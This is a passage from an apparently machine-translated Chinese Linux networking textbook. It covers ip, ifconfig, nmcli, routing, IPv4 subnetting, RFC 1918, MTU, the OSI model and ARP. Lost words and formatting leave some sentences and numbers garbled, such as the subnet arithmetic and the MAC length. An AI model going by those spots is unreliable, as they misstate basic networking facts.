所以,现在我们有了一大堆新命令要看,我们如何获取更多关于它们的信息呢?man(手册)命令在 Linux 中有大多数命令和操作的文档。例如,aptman命令可以使用man apt命令打印;输出如下:

图 2.1 - apt man 页面

图 2.1 - apt man 页面

在本书中介绍新命令时,花点时间使用man命令进行复习 - 本书更多是为了指导你的旅程,而不是替代实际操作系统文档。

现在我们已经讨论了现代和传统工具,然后安装了传统的net-tools命令,那么这些命令是什么,它们是做什么的呢?

显示接口 IP 信息

在 Linux 工作站上显示接口信息是一个常见的任务。特别是如果你的主机适配器被设置为自动配置,例如使用动态主机配置协议DHCP)或 IPv6 自动配置。

正如我们讨论过的,有两组命令可以做到这一点。ip命令允许我们在新操作系统上显示或配置主机的网络参数。在旧版本中,你会发现使用ifconfig命令。

ip命令将允许我们显示或更新 IP 地址、路由信息和其他网络信息。例如,要显示当前 IP 地址信息,请使用以下命令:

ip address

ip命令支持ip addr或甚至ip a都会给你相同的结果:

robv@ubuntu:~$ ip ad
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:33:2d:05 brd ff:ff:ff:ff:ff:ff
    inet 192.168.122.182/24 brd 192.168.122.255 scope global dynamic noprefixroute ens33
       valid_lft 6594sec preferred_lft 6594sec
    inet6 fe80::1ed6:5b7f:5106:1509/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

你会发现,即使是最简单的命令有时也会返回比你想要的更多的信息。例如,你会看到命令行选项中的-4-6

robv@ubuntu:~$ ip -4 ad
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    inet 192.168.122.182/24 brd 192.168.122.255 scope global dynamic noprefixroute ens33
       valid_lft 6386sec preferred_lft 6386sec

在这个输出中,你会看到loopback接口(一个逻辑的内部接口)的 IP 地址是127.0.0.1,以及以太网接口ens33的 IP 地址是192.168.122.182

现在是一个绝佳的时机输入man ip并复习我们可以使用这个命令做的各种操作:

图 2.2 - ip man 页面

图 2.2 - ip man 页面

ifconfig命令与ip命令有非常相似的功能,但正如我们所指出的,它主要出现在旧版本的 Linux 上。传统命令都是有机地发展起来的,功能都是按需添加的。这导致我们处于一个状态,随着显示或配置更复杂的事物,语法变得越来越不一致。而更现代的命令是从头开始设计的,以保持一致性。

让我们使用传统命令来重复我们的努力;要显示接口 IP,只需输入ifconfig

robv@ubuntu:~$ ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1400
        inet 192.168.122.22  netmask 255.255.255.0  broadcast 192.168.122.255
        inet6 fe80::1ed6:5b7f:5106:1509  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:33:2d:05  txqueuelen 1000  (Ethernet)
        RX packets 161665  bytes 30697457 (30.6 MB)
        RX errors 0  dropped 910  overruns 0  frame 0
        TX packets 5807  bytes 596427 (596.4 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1030  bytes 91657 (91.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1030  bytes 91657 (91.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

正如你所看到的,基本上是以稍微不同的格式显示相同的信息。如果你查看这两个命令的man页面,你会发现ip命令的选项更一致,并且没有太多的 IPv6 支持 - 例如,原生情况下你无法选择只显示 IPv4 或 IPv6。

显示路由信息

在现代网络命令中,我们将使用完全相同的ip命令来显示我们的路由信息。而且,正如你所期望的,命令是ip route,可以缩写为ip r

robv@ubuntu:~$ ip route
default via 192.168.122.1 dev ens33 proto dhcp metric 100
169.254.0.0/16 dev ens33 scope link metric 1000
192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100
robv@ubuntu:~$ ip r
default via 192.168.122.1 dev ens33 proto dhcp metric 100
169.254.0.0/16 dev ens33 scope link metric 1000
192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100

从这个输出中,我们看到我们有一个指向192.168.122.1默认路由。默认路由就是这样 - 如果一个数据包被发送到不在路由表中的目的地,主机将把该数据包发送到其默认网关。路由表总是会优先选择“最具体”的路由 - 最接近目的地 IP 的路由。如果没有匹配,那么最具体的路由就会走向默认网关,它的路由是0.0.0.0 0.0.0.0(换句话说,如果它不匹配其他任何东西的路由)。主机假设默认网关 IP 属于路由器,然后(希望)知道下一步该把该数据包发送到哪里。

我们还看到了到169.254.0.0/16的路由。这被称为链路本地地址,在 RFC 3927 中定义。RFC代表请求评论,它作为互联网标准在开发过程中使用的非正式同行评审的一部分。已发布的 RFC 列表由IETF互联网工程任务组)维护,网址为 https://www.ietf.org/standards/rfcs/。

链路本地地址只在当前子网中运行 - 如果主机没有静态配置的 IP 地址,并且 DHCP 没有分配地址,它将使用 RFC 中定义的前两个八位字节(169.254),然后计算最后两个八位字节,将它们随机分配。经过 Ping/ARP 测试(我们将在第三章中讨论 ARP,使用 Linux 和 Linux 工具进行网络诊断),以确保这个计算出的地址实际上是可用的,主机就准备好进行通信了。这个地址只能与同一网络段上的其他 LLA 地址通信,通常使用广播和多播协议,如 ARP,Alljoyn 等来“找到”彼此。为了澄清,这些地址几乎从不在真实网络中使用,它们是在绝对没有其他选择的情况下使用的地址。为了混淆,微软将这些地址称为不同的东西 - 自动私有互联网协议地址APIPA)。

最后,我们看到了到本地子网的路由,这种情况下是192.168.122.0/24。这被称为连接路由(因为它连接到该接口)。这告诉主机在自己的子网中与其他主机通信时不需要进行路由。

这组路由在简单网络中非常常见 - 默认网关,本地段,就是这样。在许多操作系统中,除非主机实际上使用链路本地地址,否则你不会看到169.254.0.0子网。

在传统方面,有多种方法可以显示当前的路由集。典型的命令是netstat -rn用于网络状态,显示路由和数字显示。然而,route是一个独立的命令(我们稍后会看到为什么):

robv@ubuntu:~$ netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
0.0.0.0         192.168.122.1   0.0.0.0         UG        0 0          0 ens33
169.254.0.0     0.0.0.0         255.255.0.0     U         0 0          0 ens33
192.168.122.0   0.0.0.0         255.255.255.0   U         0 0          0 ens33
robv@ubuntu:~$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.122.1   0.0.0.0         UG    100     0        0 ens33
169.254.0.0     0.0.0.0         255.255.0.0     U     1000    0        0 ens33
192.168.122.0   0.0.0.0         255.255.255.0   U     100     0        0 ens33

这些显示了相同的信息,但现在我们有了两个额外的命令 - netstatroute。传统的网络工具集往往为每个目的都有一个单独的命令,并且在这种情况下,我们看到了其中两个命令有相当大的重叠。对于新手来说,了解所有这些命令并保持它们不同的语法是一项挑战。ip命令集使这变得简单得多!

无论您最终使用哪种工具集,现在您都具备了建立和检查 IP 寻址和路由的基础知识,这将为您的主机提供基本的连接性。

IPv4 地址和子网掩码

在前一节中,我们简要讨论了 IP 地址,但让我们更详细地讨论一下。IPv4 允许您通过为每个设备分配一个地址和子网掩码来唯一地寻址子网中的每个设备。例如,在我们的示例中,IPv4 地址是192.168.122.182。IPv4 地址中的每个八位组的范围可以是0-255,子网掩码是/24,通常表示为255.255.255.0。直到我们将事情分解为二进制表示,这似乎很复杂。255的二进制是11111111(8 位),其中有 3 个这样的分组组成 24 位。因此,我们的地址和掩码表示的含义是,当进行掩码处理时,地址的网络部分是192.168.122.0,地址的主机部分是182,范围是1-254

分解如下:

如果我们需要一个更大的子网怎么办?我们只需将掩码向左移动几位。例如,对于 20 位子网掩码,我们有以下内容:

这使得掩码的第三个八位组为0b11110000(注意简写的0b表示“二进制”),在十进制中转换为240。这将第三个八位组的网络掩码为0b01110000112。这将我们的主机地址范围增加到第三个八位组的0-150 – 0b1111),第四个八位组的0-2550 – 0b11111111),或者总共3824(15 x 255 – 1)(我们将在下一节讨论-1)。

您可以看到,保留一个可以进行二进制到十进制转换的计算器应用对于网络专业人员来说是一个方便的事情!确保它也可以进行十六进制(16 进制)转换;我们将在几分钟内深入探讨这一点。

现在我们已经掌握了十进制和特别是二进制中的地址和子网掩码的处理技巧,让我们扩展一下,并探讨如何用它来说明其他寻址概念。

特定用途地址

有一些需要涵盖的特殊用途地址,以进一步探讨 IP 地址在本地子网中的工作方式。首先,如果地址中的所有主机都设置为1,那就是广播地址。如果您向广播地址发送信息,它将发送到子网中的所有网络接口并被所有网络接口读取。

因此,在我们的两个例子中,/24网络的广播如下:

换句话说,我们有一个广播地址为192.168.122.255

/20网络的广播如下:

或者,我们可以转换回十进制,得到广播地址为192.168.127.255

将 IPv4 地址的网络和主机部分之间的边界移动会让人想起地址类的概念。当转换为二进制时,前几个字节定义了该地址的所谓类别子网掩码。在大多数操作系统中,如果您在 GUI 中设置 IP 地址,通常会默认填入这个类别子网掩码。这些二进制到子网掩码的分配如下:

这定义了网络的默认类别子网掩码。我们将在接下来的两节中深入探讨这一点。

从所有这些内容中,您可以看到为什么大多数管理员使用255.255.255.0255.255.0.0。任何其他选择都会在每次添加新成员时变得混乱,并可能导致服务器或工作站配置错误。此外,每次需要设置或解释网络地址时都要“做数学”并不吸引大多数人。

我们刚刚触及的第二种特殊地址是多播地址。多播地址用于将多个设备包括在一个对话中。例如,您可以使用多播地址将相同的视频流发送到多个网络连接的显示器,或者如果您正在设置语音/视频应用中的电话会议或会议。本地网络的多播地址采用以下形式:

最后的 11 位(3+8)通常形成各种多播协议的“众所周知的地址”。一些常见的多播地址如下:

已知的完整注册的多播地址列表由IANA互联网编号分配机构)维护,网址为 https://www.iana.org/assignments/multicast-addresses/multicast-addresses.xhtml。虽然这可能看起来很全面,但供应商通常会在这个地址空间中创建自己的多播地址。

这是多播地址的基本介绍——它比这复杂得多,甚至有整本书专门讨论它的设计、实施和理论。我们所讨论的足以让你有一个大致的概念,足以开始。

在广播和多播地址已经涵盖的情况下,让我们讨论在你的环境中最有可能使用的 IP 地址“家族”。

私有地址——RFC 1918

另一组特殊地址是 RFC 1918 地址空间。RFC 1918 描述了一系列为组织内部使用而分配的 IP 子网。这些地址不能在公共互联网上使用,因此必须在将流量路由到它们或从它们路由到公共互联网之前使用网络地址转换NAT)进行转换。

RFC1918 地址如下:

  • 10.0.0.0/8(A 类)

  • 172.16.0.0172.31.0.0 / 16(B 类)(这可以总结为172.16.0.0/12

  • 192.168.0.0/16(C 类)

这些地址为组织提供了一个大的 IP 空间供内部使用,所有这些地址都保证不会与公共互联网上的任何内容发生冲突。

作为一个有趣的练习,你可以使用这些 RFC 1918 子网来验证默认地址类,方法是将每个子网的第一个八位转换为二进制,然后将它们与最后一节中的表进行比较。

RFC 1918 规范在这里完全记录:https://tools.ietf.org/html/rfc1918。

现在我们已经讨论了 IP 地址和子网掩码的二进制方面,以及各种特殊的 IP 地址组,我相信你已经厌倦了理论和数学,想要回到与 Linux 主机的命令行玩耍!好消息是,我们仍然需要讨论 IPv6(IP 版本 6)的寻址位和字节。更好的消息是,它将在附录中,这样我们就可以让你尽快到键盘上!

现在我们已经牢固掌握了显示 IP 参数并对 IP 地址有了很好的理解,让我们配置一个 IP 接口以供使用。

为接口分配 IP 地址

分配永久的 IPv4 地址是你可能需要在构建的每台服务器上做的事情。幸运的是,这很简单。在新的命令集中,我们将使用nmcli命令(manual)。我们将以nmcli格式显示网络连接:

robv@ubuntu:~$ sudo nmcli connection show
NAME           UUID                           TYPE       DEVICE
Wired connection 1  02ea4abd-49c9-3291-b028-7dae78b9c968  ethernet  ens33

我们的连接名称是有线连接 1。不过,我们不需要每次都输入这个,我们可以通过输入Wi然后按Tab来完成名称的选项。另外,请记住nmcli将允许缩短命令子句,所以我们可以使用mod代替modifycon代替connection等等。让我们继续我们的命令序列(注意最后一个命令中参数是如何缩短的):

$ sudo nmcli connection modify "Wired connection 1" ipv4.addresses 192.168.122.22/24
$
$ sudo nmcli connection modify "Wired connection 1" ipv4.gateway 192.168.122.1
$
$ sudo nmcli connection modify "Wired connection 1" ipv4.dns "8.8.8.8"
$
$ sudo nmcli con mod "Wired connection 1" ipv4.method manual
$
Now, let's save the changes and make them "live":
$ sudo nmcli connection up "Wired connection 1" 
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5)
$

使用传统方法,我们所有的更改都是通过编辑文件完成的。而且仅仅是为了好玩,文件名和位置会因发行版而异。这里显示了最常见的编辑和文件。

要更改 DNS 服务器,请编辑/etc/resolv.conf并更改nameserver行以反映所需的服务器 IP:

nameserver 8.8.8.8

要更改 IP 地址、子网掩码等,编辑/etc/sysconfig/network-scripts/ifcfg-eth0文件,并按以下方式更新值:

DEVICE=eth0
BOOTPROTO=none
ONBOOT=yes
NETMASK=255.255.255.0
IPADDR=10.0.1.27

如果你的默认网关在这个接口上,你可以添加这个:

GATEWAY=192.168.122.1

再次注意,在不同的发行版上,要编辑的文件可能会有所不同,特别要注意这种方法不向后兼容。在现代 Linux 系统上,编辑基本文件进行网络更改的方法基本上不再适用。

现在我们知道如何为接口分配 IP 地址,让我们学习如何在主机上调整路由。

添加路由

要添加临时静态路由,ip命令再次是我们的首选。在这个例子中,我们告诉我们的主机路由到192.168.122.10以到达10.10.10.0/24网络:

robv@ubuntu:~$ sudo ip route add 10.10.10.0/24 via 192.168.122.10
 [sudo] password for robv:
robv@ubuntu:~$ ip route
default via 192.168.122.1 dev ens33 proto dhcp metric 100
10.10.10.0/24 via 192.168.122.10 dev ens33
169.254.0.0/16 dev ens33 scope link metric 1000
192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100

您还可以添加egress网络接口以在ip route add命令的末尾添加dev <devicename>

然而,这只是添加了一个临时路由,如果主机重新启动或网络进程重新启动,它将无法保存。您可以使用nmcli命令添加永久静态路由。

首先,我们将以nmcli格式显示网络连接:

robv@ubuntu:~$ sudo nmcli connection show
NAME                UUID                                  TYPE       DEVICE
Wired connection 1  02ea4abd-49c9-3291-b028-7dae78b9c968  ethernet  ens33

接下来,我们将使用nmcliWired connection 1连接添加路由到10.10.11.0/24通过192.168.122.11

robv@ubuntu:~$ sudo nmcli connection modify "Wired connection 1" +ipv4.routes "10.10.11.0/24 192.168.122.11"

同样,让我们保存我们的nmcli更改:

$ sudo nmcli connection up "Wired connection 1" 
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5)
$

现在,查看我们的路由表,我们看到了我们的两个静态路由:

robv@ubuntu:~$ ip route
default via 192.168.122.1 dev ens33 proto dhcp metric 100
10.10.10.0/24 via 192.168.122.10 dev ens33
10.10.11.0/24 via 192.168.122.11 dev ens33 proto static metric 100
169.254.0.0/16 dev ens33 scope link metric 1000
192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100

然而,如果我们重新加载,我们会发现我们的临时路由现在已经消失,永久路由已经生效:

robv@ubuntu:~$ ip route
default via 192.168.122.1 dev ens33 proto dhcp metric 100
10.10.11.0/24 via 192.168.122.11 dev ens33 proto static metric 100
169.254.0.0/16 dev ens33 scope link metric 1000
192.168.122.0/24 dev ens33 proto kernel scope link src 192.168.122.156 metric 100

完成了添加路由的基础知识后,让我们看看如何在旧的 Linux 主机上,使用传统的route命令完成同样的任务。

使用传统方法添加路由

首先,要添加路由,请使用以下命令:

$ sudo route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12

要使这个路由永久生效,事情变得复杂-永久路由存储在文件中,文件名和位置会因发行版而异,这就是为什么iproute2/nmcli命令的一致性在现代系统上如此方便。

在旧的 Debian/Ubuntu 发行版上,一个常见的方法是编辑/etc/network/interfaces文件并添加以下行:

up route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12

或者,在旧的 Redhat 系列发行版上,编辑/etc/sysconfig/network-scripts/route-<device name>文件并添加以下行:

10.10.12.0/24 via 192.168.122.12

或者,只需将路由作为命令添加,编辑/etc/rc.local文件-这种方法在几乎任何 Linux 系统上都可以工作,但通常被认为不够优雅,主要是因为它是下一个管理员会查找设置的最后一个地方(因为它不是一个正确的网络设置文件)。rc.local文件只会在系统启动时执行,并运行其中的任何命令。在这种情况下,我们将添加我们的route add命令:

/sbin/route add –net 10.10.12.0 netmask 255.255.255.0 gw 192.168.122.12

在这一点上,我们已经在我们的 Linux 主机上设置了网络。我们已经设置了 IP 地址、子网掩码和路由。尤其是在故障排除或初始设置时,常常需要禁用或启用接口;我们接下来会涵盖这个内容。

禁用和启用接口

在新的命令“世界”中,我们使用-你猜对了-ip命令。在这里,我们将“弹跳”接口,先将其关闭,然后再次打开:

robv@ubuntu:~$ sudo ip link set ens33 down
robv@ubuntu:~$ sudo ip link set ens33 up

在旧的命令集中,使用ifconfig来禁用或启用接口:

robv@ubuntu:~$ sudo ifconfig ens33 down
robv@ubuntu:~$ sudo ifconfig ens33 up

在执行接口命令时,始终要记住,你不想砍掉你坐在的树枝。如果你是远程连接的(例如使用ssh),如果你改变了ip地址或路由,或者禁用了一个接口,你很容易在那一点上失去与主机的连接。

在这一点上,我们已经涵盖了大部分你需要在现代网络中配置你的 Linux 主机的任务。然而,网络管理的一个重要部分是诊断和设置配置以适应特殊情况,例如-调整设置以优化流量,可能需要较小或较大的数据包大小。

在接口上设置 MTU

在现代系统中越来越常见的一项操作是设置消息传输单元MTU)。这是接口将发送或接收的最大协议数据报单元PDU,在大多数网络中也称为)的大小。在以太网上,默认的 MTU 为 1,500 字节,这相当于最大数据包大小为 1,500 字节。媒体的最大数据包大小通常称为最大段大小MSS)。对于以太网,这三个值如下:

表 2.1 - 以太网的帧大小、MTU、数据包大小和 MSS 的关系

表 2.1 - 以太网的帧大小、MTU、数据包大小和 MSS 的关系

为什么我们需要改变这个? 1,500 是数据包大小的一个不错的折衷方案,因为它足够小,以至于在出现错误时,错误会被快速检测到,并且需要重新传输的数据量相对较小。然而,特别是在数据中心,有一些例外情况。

在处理存储流量,特别是 iSCSI 时,希望使用较大的帧大小,以便数据包大小可以容纳更多数据。在这些情况下,MTU 通常设置在 9,000 左右(通常称为巨型数据包)。这些网络通常部署在 1 Gbps、10 Gbps 或更快的网络上。您还会看到更大的数据包用于适应备份或虚拟机迁移(例如:VMware 中的 VMotion 或 Hyper-V 中的 Live Migration)。

在另一端,您也经常会看到需要较小数据包的情况。这是特别重要的,因为并非所有主机都会很好地检测到这一点,许多应用程序会在其流量中设置DF不分段)位。在这种情况下,您可能会看到在可能只支持 1,380 字节数据包的介质上设置了一个 1,500 字节的数据包 - 在这种情况下,应用程序将简单地失败,并且错误消息通常不会对故障排除有所帮助。您可能会在哪里看到这种情况?涉及封装数据包的任何链路通常都会涉及到这一点 - 例如隧道或 VPN 解决方案。这些将通过封装引起的开销减少帧大小(和结果数据包大小),这通常很容易计算。卫星链路是另一种常见情况。它们通常默认为 512 字节的帧 - 在这些情况下,大小将由服务提供商发布。

设置 MTU 就像你想的那样简单 - 我们将再次使用nmcli。请注意,在此示例中,我们缩短了nmcli的命令行参数,并且我们在最后保存了配置更改 - MTU 在最后一个命令之后立即更改。让我们将 MTU 设置为9000以优化 iSCSI 流量:

$ sudo nmcli con mod "Wired connection 1" 802-3-ethernet.mtu 9000
$ sudo nmcli connection up "Wired connection 1" 
Connection successfully activated (D-Bus active path: /org/freedesktop/NetworkManager/ActiveConnection/5)
$

设置了我们的 MTU,nmcli命令还能做什么?

有关 nmcli 命令的更多信息

nmcli命令也可以以交互方式调用,并且可以在实时解释器或 shell 中进行更改。要进入以太网接口的 shell,请使用nmcli connection edit type ethernet命令。在 shell 中,print命令列出了可以为该接口类型更改的所有nmcli参数。请注意,此输出被分成了逻辑组 - 我们已编辑此(非常冗长)输出,以显示您可能需要在各种情况下调整、编辑或故障排除的许多设置:

nmcli> print
===============================================================================
                     Connection profile details (ethernet)
===============================================================================
connection.id:                          ethernet
connection.uuid:                        e0b59700-8dcb-4801-9557-9dee5ab7164f
connection.stable-id:                   --
connection.type:                        802-3-ethernet
connection.interface-name:              --
….
connection.lldp:                        default
connection.mdns:                        -1 (default)
connection.llmnr:                       -1 (default)
-------------------------------------------------------------------------------

这些是常见的以太网选项:

802-3-ethernet.port:                    --
802-3-ethernet.speed:                   0
802-3-ethernet.duplex:                  --
802-3-ethernet.auto-negotiate:          no
802-3-ethernet.mac-address:             --
802-3-ethernet.mtu:                     auto
….
802-3-ethernet.wake-on-lan:             default
802-3-ethernet.wake-on-lan-password:    --
-------------------------------------------------------------------------------

这些是常见的 IPv4 选项:

ipv4.method:                            auto
ipv4.dns:                               --
ipv4.dns-search:                        --
ipv4.dns-options:                       --
ipv4.dns-priority:                      0
ipv4.addresses:                         --
ipv4.gateway:                           --
ipv4.routes:                            --
ipv4.route-metric:                      -1
ipv4.route-table:                       0 (unspec)
ipv4.routing-rules:                     --
ipv4.ignore-auto-routes:                no
ipv4.ignore-auto-dns:                   no
ipv4.dhcp-client-id:                    --
ipv4.dhcp-iaid:                         --
ipv4.dhcp-timeout:                      0 (default)
ipv4.dhcp-send-hostname:                yes
ipv4.dhcp-hostname:                     --
ipv4.dhcp-fqdn:                         --
ipv4.dhcp-hostname-flags:               0x0 (none)
ipv4.never-default:                     no
ipv4.may-fail:                          yes
ipv4.dad-timeout:                       -1 (default)
-------------------------------------------------------------------------------

(IPv6 选项将在此处列出,但已删除以保持此列表的可读性。)

这些是代理设置:

-------------------------------------------------------------------------------
proxy.method:                           none
proxy.browser-only:                     no
proxy.pac-url:                          --
proxy.pac-script:                       --
-------------------------------------------------------------------------------
nmcli>

如前所述,列表有些简略。我们展示了您可能需要在各种设置或故障排除情况下检查或调整的设置。在您自己的站点上运行该命令以查看完整的列表。

正如我们所示,nmcli命令允许我们交互式地或从命令行调整多个接口参数。特别是命令行界面允许我们在脚本中调整网络设置,从而可以一次性调整数十、数百甚至数千个站点的设置。

总结

通过本章的学习,您应该对 IP 地址有一个坚实的理解,从二进制的角度来看。通过这个,您应该理解子网寻址和掩码,以及广播和组播寻址。您还对各种 IP 地址类有了很好的掌握。有了这些,您应该能够使用各种不同的命令在 Linux 主机上显示或设置 IP 地址和路由。其他接口操作也应该很容易实现,比如在接口上设置 MTU。

有了这些技能,您就准备好开始我们下一个话题了:使用 Linux 和 Linux 工具进行网络诊断。

问题

最后,这里有一些问题供您测试对本章材料的了解。您将在附录评估部分找到答案。

  1. 默认网关有什么作用?

  2. 对于192.168.25.0/24网络,子网掩码和广播地址是什么?

  3. 对于同一网络,广播地址是如何使用的?

  4. 对于同一网络,可能的主机地址是什么?

  5. 如果您需要静态设置以太网接口的速度和双工模式,您会使用什么命令?

进一步阅读

第二部分:Linux 作为网络节点和故障排除平台

在本节中,我们将继续构建我们的 Linux 主机,添加网络诊断和故障排除工具。我们将添加 Linux 防火墙,开始保护我们的主机。最后,我们将讨论如何将 Linux 安全标准推广到整个组织,讨论各种方法、监管框架、加固指南和框架。

本书的这一部分包括以下章节:

  • 第三章,使用 Linux 和 Linux 工具进行网络诊断

  • 第四章,Linux 防火墙

  • 第五章,具有实际案例的 Linux 安全标准

第三章:使用 Linux 和 Linux 工具进行网络诊断

在本章中,我们将介绍一些“工作原理”网络基础知识,以及如何在我们的 Linux 工作站中进行网络故障排除。完成本章后,您应该具备故障排除本地和远程网络服务以及“清点”网络及其服务的工具。

特别是,我们将涵盖以下主题:

  • 网络基础知识-OSI 模型。

  • 第 2 层-使用 ARP 关联 IP 和 MAC 地址,并对 MAC 地址进行更详细的介绍。

  • 第 4 层- TCP 和 UDP 端口的工作原理,包括 TCP 的“三次握手”,以及这在 Linux 命令中的表现。

  • 本地 TCP 和 UDP 端口枚举,以及这些与运行服务的关系。

  • 使用本机工具进行远程端口枚举。

  • 使用已安装的扫描程序(尤其是 netcat 和 nmap)进行远程端口枚举。

  • 最后,我们将介绍一些无线操作和故障排除的基础知识。

技术要求

为了跟随本节中的示例,我们将使用我们现有的 Ubuntu 主机或虚拟机VM)。在本章中,我们将涉及一些无线主题,因此如果您的主机或 VM 中没有无线网卡,您将需要一个 Wi-Fi 适配器来完成这些示例。

在我们通过各种故障排除方法时,我们将使用各种工具,首先是一些本地 Linux 命令:

我们还将使用一些已安装的应用程序:

对于 Ubuntu 中未包含的软件包,请确保您有可用的互联网连接,以便您可以使用apt命令进行安装。

网络基础知识-OSI 模型

以层的术语讨论网络和应用概念很方便,每一层大致负责更高级别和更抽象功能的功能,并且随着您向下移动,在更低层有更多的基本原语。以下图表以广义的方式描述了 OSI 模型:

图 3.1-网络通信的 OSI 模型,带有一些描述和示例

图 3.1-网络通信的 OSI 模型,带有一些描述和示例

在常规用法中,层通常按数字引用,从底部开始计数。因此,第 2 层问题通常涉及 MAC 地址和交换机,并且将局限于站点所在的 VLAN(通常意味着本地子网)。第 3 层问题将涉及 IP 地址分配,路由或数据包(因此将涉及路由器和更远网络的相邻子网)。

与任何模型一样,总会有混淆的余地。例如,在第 6 层和第 7 层之间存在一些长期以来的模糊性。在第 5 层和第 6 层之间,虽然 IPSEC 绝对是加密,因此属于第 6 层,但它也可以被视为一种隧道协议(取决于您的观点和实现)。即使在第 4 层,TCP 也有会话的概念,因此似乎可能在第 5 层一侧有所涉及-尽管端口的概念将其牢牢地放在第 4 层。

当然,总会有幽默的余地-常见的智慧/笑话是在这个模型中,形成第 8 层。因此,第 8 层问题可能涉及求助台电话,预算讨论,或与您组织的管理层开会解决!

在下一个图表中,我们看到的是要牢记的这个模型中最重要的概念。随着数据的接收,它沿着堆栈向上移动,从最原始的构造到更抽象/高级的构造(例如从位到帧到数据包到 API 到应用程序)。发送数据将其从应用层移动到线上的二进制表示(从上层到下层)。

第 1-3 层通常被称为媒体网络层,而第 4-7 层通常被称为主机或应用程序层:

图 3.2-上下移动 OSI 堆栈,封装和解封装

图 3.2-上下移动 OSI 堆栈,封装和解封装

这个概念使得供应商能够制造一个开关,它可以与另一个供应商的网络卡进行交互,或者让交换机与路由器一起工作。这也是我们应用生态系统的动力-在大多数情况下,应用程序开发人员不必担心 IP 地址、路由或无线和有线网络之间的差异,所有这些都已经被处理好了-网络可以被视为一个黑盒子,你在一端发送数据,你可以确信它会在另一端以正确的位置和格式出现。

现在我们已经建立了 OSI 模型的基础,让我们通过探索arp命令和本地 ARP 表来详细了解数据链路层。

第 2 层-使用 ARP 关联 IP 和 MAC 地址

有了 OSI 模型的坚实基础,我们可以看到到目前为止我们围绕 IP 地址的讨论都集中在第 3 层。这是普通人,甚至许多 IT 和网络人员在他们的理解中通常认为网络路径停止的地方-他们可以一直跟踪到那里,然后认为剩下的部分是一个黑盒子。但作为一个网络专业人员,第 1 层和第 2 层非常重要-让我们从第 2 层开始。

理论上,MAC 地址是烧入到每个网络接口的地址。虽然这通常是正确的,但这也是一个容易改变的事情。MAC 地址是什么呢?它是一个 12 位(6 字节/48 位)地址,通常以十六进制显示。在显示时,每个字节或双字节通常用.-分隔。因此,典型的 MAC 地址可能是00-0c-29-3b-73-cb9a93.5d84.5a69(显示两种常见表示)。

实际上,这些地址用于在同一 VLAN 或子网中的主机之间进行通信。如果你查看数据包捕获(我们将在本书的后面部分进行,第十一章Linux 中的数据包捕获和分析),在 TCP 会话开始时,你会看到发送站发送一个广播(发送到子网中的所有站点的请求)谁有 IP 地址 x.x.x.x那是我,我的 MAC 地址是 aaaa.bbbb.cccc。如果目标 IP 地址在不同的子网上,发送方将为该子网的网关进行“ARP 请求”(通常是默认网关,除非定义了本地路由)。

前进时,发送方和接收方使用 MAC 地址进行通信。这两个主机连接的交换机基础设施仅在每个 VLAN 中使用 MAC 地址,这也是交换机比路由器快得多的原因之一。当我们查看实际的数据包(在数据包捕获章节中),你会看到每个数据包中的发送和接收 MAC 地址以及 IP 地址。

ARP 请求在每个主机上都被缓存到一个arp命令中:

$ arp -a
? (192.168.122.138) at f0:ef:86:0f:5d:70 [ether] on ens33
? (192.168.122.174) at 00:c3:f4:88:8b:43 [ether] on ens33
? (192.168.122.5) at 00:5f:86:d7:e6:36 [ether] on ens33
? (192.168.122.132) at 64:f6:9d:e5:ef:60 [ether] on ens33
? (192.168.122.7) at c4:44:a0:2f:d4:c3 [ether] on ens33
_gateway (192.168.122.1) at 00:0c:29:3b:73:cb [ether] on ens33

你可以看到这很简单。它只是将第 3 层 IP 地址与第 2 层 MAC 地址关联到第 1 层/proc目录:

$ cat /proc/sys/net/ipv4/neigh/default/gc_stale_time
60
$ cat /proc/sys/net/ipv4/neigh/ens33/gc_stale_time
60

